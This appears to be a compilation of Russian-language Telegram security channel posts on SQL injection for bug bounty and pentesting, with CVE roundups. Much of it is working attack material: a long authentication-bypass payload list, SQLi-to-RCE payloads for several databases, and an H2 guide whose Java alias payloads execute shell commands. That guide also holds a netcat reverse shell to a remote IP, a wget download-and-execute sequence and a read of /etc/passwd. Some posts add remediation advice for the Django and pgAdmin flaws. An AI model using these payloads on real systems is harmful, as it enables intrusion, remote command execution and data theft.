SQL injection auth bypass list
or 1=1#sqli
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
🐳6👍1💯1
Сервис, который поможет вам "зашифровать" вашу нагрузку сразу в несколько форматов:
SQL Encoder for MySQLSQL encoder for MySQL
Это сервис удобен, как быстрый обфускатор вашей нагрузки, если вы нашли или подозреваете, что на сайте есть SQLi, но либо фильтры не пускают, либо WAF, то вы можете видоизменить вашу нагрузку, перекодировав её в другой формат.
#bugbounty #sqli #начинающим
Please open Telegram to view this post
VIEW IN TELEGRAM
SQLMap Cheat Sheet
#sqli #cheatsheet
Очередная, но максимальная полная методчика по использованию sqlmap, включая tamper'sы. Советую всем сохранить на всякий случай)
💻 Github репозиторий
🌚 @poxek
#sqli #cheatsheet
Очередная, но максимальная полная методчика по использованию sqlmap, включая tamper'sы. Советую всем сохранить на всякий случай)
Please open Telegram to view this post
VIEW IN TELEGRAM
Интересная история про Bypassing Cloudflare WAF: XSS via SQL Injection
#cloudflare #WAF #XSS #SQLi #bypass
Дабы этот пост не стал очередным, что вы отправите себе в ЛС, кратко выдели в начале главные мысли:
1. При работе по анализу защищенности, будь то пентест, ред тим или бб, обязательно делайте скрины и записывайте ключевые находки сразу, пока вы сами не забыли, как поломали это.
2. Гуглить, а точнее использовать оператор
3. Комбинируйте атаки. Самый простой пример, что user enum вам поможет с Account Takeover'ом. Если у вас python стек и вы нашли XSS, то ищите SSTI и так далее.
4. Не ожидайте, что сервер всегда вам будет отвечать ошибкой или alert()'ом. Возможно вы пропустите слепые SQLi или XSS или какую-нибудь SSRF.
5. Самый главный совет от автора статьи, не блечьте. Вы ещё молодые и шутливые, а потом боком встанет ваши необдуманные и тем более если обдуманные действия. В РФ и в мире есть очень много багбаунти программ, на которых вы можете искать уязвимости)
А в целом статья про обход CF (ничего не обычного), затем раскрутка скули и xss. Как-то так)
➡️ Читать статью
🌚 @poxek
#cloudflare #WAF #XSS #SQLi #bypass
Дабы этот пост не стал очередным, что вы отправите себе в ЛС, кратко выдели в начале главные мысли:
1. При работе по анализу защищенности, будь то пентест, ред тим или бб, обязательно делайте скрины и записывайте ключевые находки сразу, пока вы сами не забыли, как поломали это.
2. Гуглить, а точнее использовать оператор
after:YYYY-MM-DD. От себя добавлю, что не просто там мы, админы, делаем для вас контент. Если у вас много телеграм каналов в подписках и чатов, то обязательно используйте поиск по самой телеге. Я постоянно этим пользуюсь и порой это сильно сокращает время нахождения сплойтов или инфы о багах. 3. Комбинируйте атаки. Самый простой пример, что user enum вам поможет с Account Takeover'ом. Если у вас python стек и вы нашли XSS, то ищите SSTI и так далее.
4. Не ожидайте, что сервер всегда вам будет отвечать ошибкой или alert()'ом. Возможно вы пропустите слепые SQLi или XSS или какую-нибудь SSRF.
5. Самый главный совет от автора статьи, не блечьте. Вы ещё молодые и шутливые, а потом боком встанет ваши необдуманные и тем более если обдуманные действия. В РФ и в мире есть очень много багбаунти программ, на которых вы можете искать уязвимости)
А в целом статья про обход CF (ничего не обычного), затем раскрутка скули и xss. Как-то так)
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚7 5
userfuzz
#fuzzing #web #bugbounty #sqli #blindsqli
Недавно один индус выпустил классную тулзу для поиска blind sql injection и вполне успешно теперь получает хаи и криты на h1. Но я нашёл тулзу поинтереснее, с точки зрения фаззинга.
Представляю вашему вниманию тулзу, которая фаззит
Установка:
Использование:
Как-то так. Пользуйтесь)
💻 Github repo
🌚 @poxek | 📹 YouTube | 🌚 Мерч Похек
#fuzzing #web #bugbounty #sqli #blindsqli
Недавно один индус выпустил классную тулзу для поиска blind sql injection и вполне успешно теперь получает хаи и криты на h1. Но я нашёл тулзу поинтереснее, с точки зрения фаззинга.
Представляю вашему вниманию тулзу, которая фаззит
User-Agent , X-Forwarded-For and Referer на наличие скулей. Вместо тысячи слов, пару строк как установить и использовать:Установка:
sudo pip install userefuzz
Использование:
# Передаём список урлов
userefuzz -l <LIST>
# Передаём 1 урл
userefuzz -u <URL>
# в пайплайне передаём
<STDIN LIST> | userefuzz
# изменяем кол-во потоков
userefuzz <LIST / URL> -w <WORKER COUNT>
# подключаем прокси, к примеру бурпсуютик
userefuzz <LIST/URL> -p <PROXY>
# Можете подсовывать свой пейлоад и свой тайминг для SLEEP()
userefuzz <LIST/URL> -i <CUSTOM SQLI PAYLOAD> -s <SLEEP COUNT IN THE PAYLOAD>
# Внедряем свой кастомный загаловок
userefuzz <LIST/URL> -ch <CUSTOM HEADER NAME>
# Внедряем несколько заголовков
userefuzz <LIST/URL> -ch <CUSTOM HEADER NAME|OTHER HEADERS>
# вывод в markdown формате (красивый и информативный)
userefuzz <LIST/URL> -o <OUTPUT FILE NAME WITHOUT EXT>
# Приятное удобство, что можно подключить уведомления через Telify
userefuzz <LIST / URL> -t
Как-то так. Пользуйтесь)
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥34👍8⚡1😁1🌚1
Forwarded from hx0110
SQLi to RCE
На самом деле тема исполнения команд по средствам SQL инъекций сотни раз подвергалась обсуждениям, но думаю стоит собрать это все в одном месте). Техники брались в основном из статейки на medium и поста Intigriti в твитере (советую поглядеть)
Исполниться можно в контекстах разных баз данных:
1. MSSQL💻
2. MySQL😗
3. PostgreSQL💻
4. Oracle🤪
5. SQLite🤝 (не нашел emoji :))
MSSQL: наверно самая известная техника среди пентестеров (sqli to rce) - это способ исполнения в MSSQL базах данных с использованием хранимой процедуры
MySQL: в этой субд исполниться можно за счет определяемых пользователем функций (UDF). Правда для этого необходимо загрузить и зарегистрировать библиотеку или она должна быть загружена администратором, после чего можно вызывать функции из этой библиотеки. Например:
PostgreSQL: В постгресе есть несколько возможных подходов.
1 - Возможность подгрузки расширений. Можно использовать расширение по типу
2 - Загрузка функции напримую из libc например
3- Команда
ORACLE: так как oracle имеет встроенный Java движок это позволяет создавать разработчикам хранимые процедуры. Злоумышленники тоже могут этим воспользоваться для создания своей вредоносной процедуры(подробнее см. статью на медиуме)
SQLite: в sqlite можно также пойти через подгрузку расширений, но эта возможность должна быть явна включена:
или например с помощью
Если вдруг чего то не хватает, подмечайте, обязательно добавлю !)
#SQLi #RCE
На самом деле тема исполнения команд по средствам SQL инъекций сотни раз подвергалась обсуждениям, но думаю стоит собрать это все в одном месте). Техники брались в основном из статейки на medium и поста Intigriti в твитере (советую поглядеть)
Исполниться можно в контекстах разных баз данных:
1. MSSQL
2. MySQL
3. PostgreSQL
4. Oracle
5. SQLite
MSSQL: наверно самая известная техника среди пентестеров (sqli to rce) - это способ исполнения в MSSQL базах данных с использованием хранимой процедуры
xp_cmdshell. Конечно, должны присутствовать необходимые привилегии, чтобы ее включить, так как по дефолту она выключена. После этого можно выполнять команды:EXEC xp_cmdshell 'dir c:\';
MySQL: в этой субд исполниться можно за счет определяемых пользователем функций (UDF). Правда для этого необходимо загрузить и зарегистрировать библиотеку или она должна быть загружена администратором, после чего можно вызывать функции из этой библиотеки. Например:
SELECT sys_eval('whoami');PostgreSQL: В постгресе есть несколько возможных подходов.
1 - Возможность подгрузки расширений. Можно использовать расширение по типу
plpythonu для исполнения python когда прямо из SQL.-- create extension
CREATE EXTENSION IF NOT EXISTS plpythonu;
-- define the malicious function
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;
-- execute command
SELECT exec_cmd('whoami');
2 - Загрузка функции напримую из libc например
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');
3- Команда
PROGRAMORACLE: так как oracle имеет встроенный Java движок это позволяет создавать разработчикам хранимые процедуры. Злоумышленники тоже могут этим воспользоваться для создания своей вредоносной процедуры(подробнее см. статью на медиуме)
SQLite: в sqlite можно также пойти через подгрузку расширений, но эта возможность должна быть явна включена:
UNION SELECT 1,load_extension('\\example.com\mal_extension.so', 'MainFuncCall')или например с помощью
load_file() прочитать закрытые ключи SSH (этот подход можно применять и в других бдшках)Если вдруг чего то не хватает, подмечайте, обязательно добавлю !)
#SQLi #RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
Medium
Exploiting SQL Injection for RCE: Five Techniques Across Popular Databases
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
🔥19👍2
Гайд по пентесту СУБД H2. Первая часть
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Родители, закройте детям глаза, дальше будет Java)
➡️ Начнём с теории:
H2 — это легковесная, кроссплатформенная система управления реляционными базами данных с открытым исходным кодом, полностью написанная на Java. Она может работать как во встроенном режиме (embedded), так и в режиме клиент-сервер, поддерживает хранение данных в памяти (in-memory) и на диске, что делает её идеальным выбором для разработки, тестирования и небольших production-проектов.
Я думаю большинство с ней никогда не сталкивалось, вот и я вчера впервые с ней повстречался. В ходе ресерча ноликов ноликов в одном Java проекте, я дошёл до потенциальной SQLi и я решил сразу пойти покрутить SQLi > RCE. Попробовав дефолтные векторы из постгри (чисто на рефлексе), понял что оно не работает(
Пошёл читать доку и оказалось, что прямого вектора до RCE, как в популярных СУБД типа PostgreSQL или MySQL - нет. Пошёл читать доку и ...пригрустнул, т.к. судя по сайту, мне предстояла попа-боль и костыльные извращенства, что собственно и произошло.
Верификация наличия SQLi идёт по классике:
На этом даже останавливаться не будем.
В чём основаная проблема? Нет явного фунционала для выполнения команд на системе. Поэтому давайте сами напишем себе функции для RCE))
🕺 Я нашёл 2 вектора, как можно выполнять RCE в этой СУБД:
1️⃣ Менее удобный вектор, но прямолинейный. Создаём функцию и вызываем её, заменяя какие-нибудь данные в таблице, которые мы видим на странице.
Итоговая нагрузка будет выглядеть вот так:
И проверяем результаты на странице. Содержимое комментария с этим UUID должно было замениться на вывод команды
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Родители, закройте детям глаза, дальше будет Java)
H2 — это легковесная, кроссплатформенная система управления реляционными базами данных с открытым исходным кодом, полностью написанная на Java. Она может работать как во встроенном режиме (embedded), так и в режиме клиент-сервер, поддерживает хранение данных в памяти (in-memory) и на диске, что делает её идеальным выбором для разработки, тестирования и небольших production-проектов.
Я думаю большинство с ней никогда не сталкивалось, вот и я вчера впервые с ней повстречался. В ходе ресерча ноликов ноликов в одном Java проекте, я дошёл до потенциальной SQLi и я решил сразу пойти покрутить SQLi > RCE. Попробовав дефолтные векторы из постгри (чисто на рефлексе), понял что оно не работает(
Пошёл читать доку и оказалось, что прямого вектора до RCE, как в популярных СУБД типа PostgreSQL или MySQL - нет. Пошёл читать доку и ...пригрустнул, т.к. судя по сайту, мне предстояла попа-боль и костыльные извращенства, что собственно и произошло.
Верификация наличия SQLi идёт по классике:
something' OR 1=1; --
# Получаем 200 OK
something' OR 1=2; --
# Получаем ошибку
На этом даже останавливаться не будем.
В чём основаная проблема? Нет явного фунционала для выполнения команд на системе. Поэтому давайте сами напишем себе функции для RCE))
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
// Вызываем метод shell_exec() и выводим результат в консоль
System.out.println(shell_exec());
}
static String shell_exec() throws java.io.IOException {
// Выполняем команду "id" и создаём Scanner для чтения её вывода
java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A"); // Устанавливаем разделитель так, чтобы Scanner читал весь ввод целиком
// Если есть данные в выводе команды, возвращаем их, иначе — пустую строку
return cmd_output.hasNext() ? cmd_output.next() : "";
}
}
Итоговая нагрузка будет выглядеть вот так:
something' OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS 'String shell_exec() throws java.io.IOException {
java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A");
return cmd_output.hasNext() ? cmd_output.next() : "";
}'; UPDATE comments SET comment = exec_cmd() WHERE id = 13c60101-8142-42df-bebd-fb5905673c41; --И проверяем результаты на странице. Содержимое комментария с этим UUID должно было замениться на вывод команды
id, но если что-то не сработало, то будет пустой комментарий. Почему может не сработать? Возможно урезанное окружение, а может права выставлены корректно и СУБД не может выполнять системные команды. Попробуйте другие команды, если вдруг не получилось.Please open Telegram to view this post
VIEW IN TELEGRAM
Гайд по пентесту СУБД H2. Вторая часть
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
2️⃣ Удобный, но более жирный по коду вектор
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.
По сути мы напрогали себе shell на java))
Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.
➡️ Как получить reverse shell?
Тут уже по классике cmd inj)
Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем
Далее идём снова в Repeater и скачиваем файл на атакуемую систему
Выдаём права
Запускаем у себя лисенер, после на атакуемой тачке рев шелл
Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)
P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.
CREATE ALIAS EXEC AS
'String e(String cmd) throws java.io.IOException {
// Формируем массив аргументов для выполнения команды в bash:
String[] c = {"/bin/bash", "-c", cmd};
// Запускаем процесс с указанной командой
Process p = Runtime.getRuntime().exec(c);
// Получаем поток вывода (stdout) запущенного процесса
java.io.InputStream stdIn = p.getInputStream();
// Оборачиваем InputStream в InputStreamReader для чтения символов
java.io.InputStreamReader isr = new java.io.InputStreamReader(stdIn);
// Оборачиваем InputStreamReader в BufferedReader для построчного чтения
java.io.BufferedReader br = new java.io.BufferedReader(isr);
// Переменная для накопления всего вывода команды
String result = "";
// Временная переменная для чтения текущей строки
String line = "";
// Считываем строки из вывода процесса до тех пор, пока они есть
while ((line = br.readLine()) != null)
// Добавляем каждую строку к результату (без перевода строки)
result += line;
// Возвращаем весь накопленный вывод команды как одну строку
return result;
}';
По сути мы напрогали себе shell на java))
Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.
something' CALL EXEC('cat /etc/passwd'); --Тут уже по классике cmd inj)
# сначала пишем на rev shell в файл. Как пример:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" > shell.sh
Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем
python3 http.server в папке, где хранится shell.shДалее идём снова в Repeater и скачиваем файл на атакуемую систему
CALL EXEC('wget http://10.10.10.10:8080/shell.sh -O /tmp/shell.sh');Выдаём права
CALL EXEC('chmod +x /tmp/shell.sh');Запускаем у себя лисенер, после на атакуемой тачке рев шелл
CALL EXEC('bash /tmp/shell.sh');Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)
P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/
Please open Telegram to view this post
VIEW IN TELEGRAM
H2Database
H2 Database Engine (redirect)
H2 is free SQL database written in Java
Ловите вкусные баги прошедшей недели
#CVE #RCE #calibre #SQLi #NVIDIA #POS
➡️ Цепочка SQLi в системе управления точками продаж ycf1998 money-pos (CVE-2025-63689, CVSS 10,0) — плохая фильтрация параметра orderby, используемого в SQL-запросах для сортировки данных. Злоумышленник без привилегий и без авторизации может внедрить в этот параметр произвольный SQL-код, что открывает двери для RCE, кражи, изменения или удаления БД, а также полной компрометации системы. Потенциально позволяет атакующему взять под полный контроль POS-устройства. Публичных PoC пока нет.
➡️ calibre (CVE-2025-64486, CVSS 9,8) — критический баг в calibre версий 8.13.0 и ниже, связанный с отсутствием проверки имен файлов при обработке формата FB2 (FictionBook). Позволяет атакующему при помощи специально созданного FB2-файла записывать произвольные файлы в файловую систему, что может привести к выполнению произвольного кода с правами пользователя, под которым запущен calibre. Публичных PoC пока нет.
➡️ RCE в Snipe-IT (CVE-2025-63601, CVSS 9,9) — уязвимость вызвана отсутствием надежной проверки содержимого и структуры загружаемых файлов резервных копий в Snipe-IT. Сервер неправильно обрабатывает архивы, позволяя внедрять и выполнять произвольные файлы и команды при их распаковке, что создает возможность для RCE с правами сервера и полной компрометации системы. Публичных PoC пока нет.
➡️ Установщик NVIDIA NVApp для Windows (CVE-2025-23358, CVSS 8,2) — возникает из-за неправильного управления путями поиска исполняемых файлов и DLL. Позволяет локальному атакующему с низкими правами разместить вредоносный файл в каталоге, который загружается раньше легитимных компонентов, что приводит к выполнению произвольного кода с правами установщика и эскалации привилегий. Публичных PoC пока нет.
➡️ WordPress-плагин Gravity Forms (CVE-2025-12352, CVSS 9,8) — критическая уязвимость, связанная с отсутствием проверки типа загружаемых файлов в функции
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#CVE #RCE #calibre #SQLi #NVIDIA #POS
copy_post_image(). Позволяет неавторизованному атакующему загрузить на сервер произвольные файлы, включая PHP-скрипты, что при включенной опции allow_url_fopen и активации формы создания постов с полем для файлов приводит к RCE. Есть PoC.Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥9🔥3👍2 1
Django: критическая SQLi-уязвимость с обходом аутентификации
#django #sqli #CVE #python
CVE-2025-64459 - критическая SQL-инъекция в Django (CVSS 9.1), затрагивающая методы
Имеет низкую сложность эксплуатации, не требует аутентификации и взаимодействия с пользователем.
Под угрозой находятся версии Django 5.2 < 5.2.8, Django 5.1 < 5.1.14, Django 4.2 < 4.2.26, ветка 6.0 (beta). Старые неподдерживаемые версии также могут быть уязвимы.
➡️ Структура атаки
Уязвимость возникает при использовании dictionary expansion с пользовательским вводом. Для проведения атаки необходимо поместить нужные параметры в URL query string (GET-параметры) или POST-данные API-запросов, которые затем попадают в Django QuerySet методы через dictionary expansion.
Типичный уязвимый паттерн
Сценарии эксплуатации
Обход аутентификации -
Эксфильтрация данных -
Эскалация привилегий -
➡️ Защита и срочные действия
1. Обновиться до патченных версий (5.2.8, 5.1.14, 4.2.26)
2. Проверить логи на _connector и _negated в запросах
3. Аудит кода:
4. Никогда не передавать
5. Использовать Django Forms для валидации
6. Внедрить whitelisting параметров фильтрации
7. Явное маппирование полей вместо dictionary expansion
🔗 Источник
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#django #sqli #CVE #python
CVE-2025-64459 - критическая SQL-инъекция в Django (CVSS 9.1), затрагивающая методы
QuerySet.filter(), QuerySet.exclude(), QuerySet.get() и класс Q(). Позволяет удаленному не аутентифицированному атакующему получить админский доступ в обход аутентификации, эксфильтровать конфиденциальные данные и эскалировать привилегии.Имеет низкую сложность эксплуатации, не требует аутентификации и взаимодействия с пользователем.
Под угрозой находятся версии Django 5.2 < 5.2.8, Django 5.1 < 5.1.14, Django 4.2 < 4.2.26, ветка 6.0 (beta). Старые неподдерживаемые версии также могут быть уязвимы.
Уязвимость возникает при использовании dictionary expansion с пользовательским вводом. Для проведения атаки необходимо поместить нужные параметры в URL query string (GET-параметры) или POST-данные API-запросов, которые затем попадают в Django QuerySet методы через dictionary expansion.
Типичный уязвимый паттерн
filters = request.GET.dict() # user-controlled data
users = User.objects.filter(**filters) # passes all params
Сценарии эксплуатации
Обход аутентификации -
_connector=OR&is_superuser=True возвращает первого найденного суперпользователя, минуя проверку кредовЭксфильтрация данных -
_connector=OR&confidential=True дает доступ ко всем конфиденциальным документамЭскалация привилегий -
_negated=True дает инверсию логики контроля доступа1. Обновиться до патченных версий (5.2.8, 5.1.14, 4.2.26)
2. Проверить логи на _connector и _negated в запросах
3. Аудит кода:
grep -r "\.filter(\*\*" --include="*.py" .4. Никогда не передавать
request.GET.dict() напрямую в QuerySet5. Использовать Django Forms для валидации
6. Внедрить whitelisting параметров фильтрации
7. Явное маппирование полей вместо dictionary expansion
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤🔥5 1
HTB Season Gacha | Gavel — Полный путь от SQLi до root
#htb #sqli #root #rce #lab
Машина Gavel оказалась весьма интересной и познавательной, но также она заставляет немного приложить усилий, терпения и логики. Не скажу, что у меня не было проблем с прохождением, но я думаю, что испытал внутреннее удовлетворение после прохождения, давайте приступим!
🔗 Райтап
P.s. давно не было подобного контента. Интересно ли вам такое?
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#htb #sqli #root #rce #lab
Машина Gavel оказалась весьма интересной и познавательной, но также она заставляет немного приложить усилий, терпения и логики. Не скажу, что у меня не было проблем с прохождением, но я думаю, что испытал внутреннее удовлетворение после прохождения, давайте приступим!
P.s. давно не было подобного контента. Интересно ли вам такое?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍37❤🔥8👾2 1
ReDisclosure. Разбираем инъекции в полнотекстовый поиск на примере MyBB
#mybb #php #sqli #sast #waf
В течение многих лет атаки с использованием SQL-инъекций в основном сводились к попыткам нарушить синтаксис запросов. Однако с развитием инструментов акцент сместился на создание «крутых нагрузок» и разбор предупреждений SAST, которые многие игнорируют. Я же попробовал поискать возможность инъекции без экранирования — с мыслью о том, что на это у SAST или WAF не будет правил.
Так я нащупал новую технику для внедрения в регулярные выражения. Сначала я немного расскажу о традиционных методах, которые были нам известны раньше, затем перейдем к моим находкам. В ходе тестирования мне удалось вскрыть уязвимость в MyBB, которая позволяла просматривать названия удаленных тем без аутентификации.
🔓 Ксакеп
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#mybb #php #sqli #sast #waf
В течение многих лет атаки с использованием SQL-инъекций в основном сводились к попыткам нарушить синтаксис запросов. Однако с развитием инструментов акцент сместился на создание «крутых нагрузок» и разбор предупреждений SAST, которые многие игнорируют. Я же попробовал поискать возможность инъекции без экранирования — с мыслью о том, что на это у SAST или WAF не будет правил.
Так я нащупал новую технику для внедрения в регулярные выражения. Сначала я немного расскажу о традиционных методах, которые были нам известны раньше, затем перейдем к моим находкам. В ходе тестирования мне удалось вскрыть уязвимость в MyBB, которая позволяла просматривать названия удаленных тем без аутентификации.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
CVE-2025-13780 — критический RCE-баг pgAdmin 4
#CVE #RCE #pgAdmin #PostgreSQL #SQLi #PoC
Позволяет выполнять произвольные shell-команды на сервере через обход regex-валидации при восстановлении plain-text SQL-дампов.
➡️ Суть проблемы
Функция has_meta_commands() в pgAdmin использовала regex-паттерн (^|\\n)[ \\t]*\\ для блокировки опасных psql-метакоманд в загружаемых SQL-файлах:
Проблема в том, что регулярное выражение ищет последовательность «начало строки или newline (
➡️ Пример атаки
Атакующий создает вредоносный SQL-дамп, используя CRLF-последовательность для обхода валидации.
Между \n (новая строка) и \ (начало команды) должен быть вставлен \r (carriage return), который делает паттерн невидимым для regex-фильтра pgAdmin.
Далее:
▪️ Атакующий логинится в pgAdmin с низкими привилегиями.
▪️ Через интерфейс pgAdmin загружает crafted SQL-файл в функцию Plain Text Restore.
▪️ Функция
▪️ pgAdmin запускает psql для восстановления БД, передавая содержимое файла.
▪️ psql интерпретирует
По итогу атакующий получает RCE на сервере с правами, под которыми запущен pgAdmin, с возможностью чтения данных, изменения конфигурации и дальнейшего продвижения по сети.
В качестве решения в версии 9.11 валидация заменена на флаг
⚡️ ⚡️ ⚡️ Есть PoC
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#CVE #RCE #pgAdmin #PostgreSQL #SQLi #PoC
Позволяет выполнять произвольные shell-команды на сервере через обход regex-валидации при восстановлении plain-text SQL-дампов.
Функция has_meta_commands() в pgAdmin использовала regex-паттерн (^|\\n)[ \\t]*\\ для блокировки опасных psql-метакоманд в загружаемых SQL-файлах:
\! — для shell-команд, \copy ... PROGRAM — для запуска процессов, \include — для включения файлов.Проблема в том, что регулярное выражение ищет последовательность «начало строки или newline (
\n) → опциональные пробелы/табы → backslash (\)», но не учитывает CR, carriage return (\r). Если поместить последовательность ‘\n\r\! команда’ в SQL-дамп, regex не сработает из-за символа \r между \n. А вот утилита psql проигнорирует CR и исполнит строку как валидную метакоманду.Атакующий создает вредоносный SQL-дамп, используя CRLF-последовательность для обхода валидации.
CREATE TABLE test (id int);
\n\r\! /bin/sh -c "команда"
INSERT INTO test VALUES (1);
Между \n (новая строка) и \ (начало команды) должен быть вставлен \r (carriage return), который делает паттерн невидимым для regex-фильтра pgAdmin.
Далее:
has_meta_commands() проверяет файл regex-паттерном, не находит совпадений из-за CR-символа и пропускает файл как безопасный.\n\r\! как валидную метакоманду \!, игнорируя CR, и выполняет shell-команду с правами процесса pgAdmin на хосте.По итогу атакующий получает RCE на сервере с правами, под которыми запущен pgAdmin, с возможностью чтения данных, изменения конфигурации и дальнейшего продвижения по сети.
В качестве решения в версии 9.11 валидация заменена на флаг
--restrict при запуске psql. Он аппаратно блокирует метакоманды.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍4❤🔥2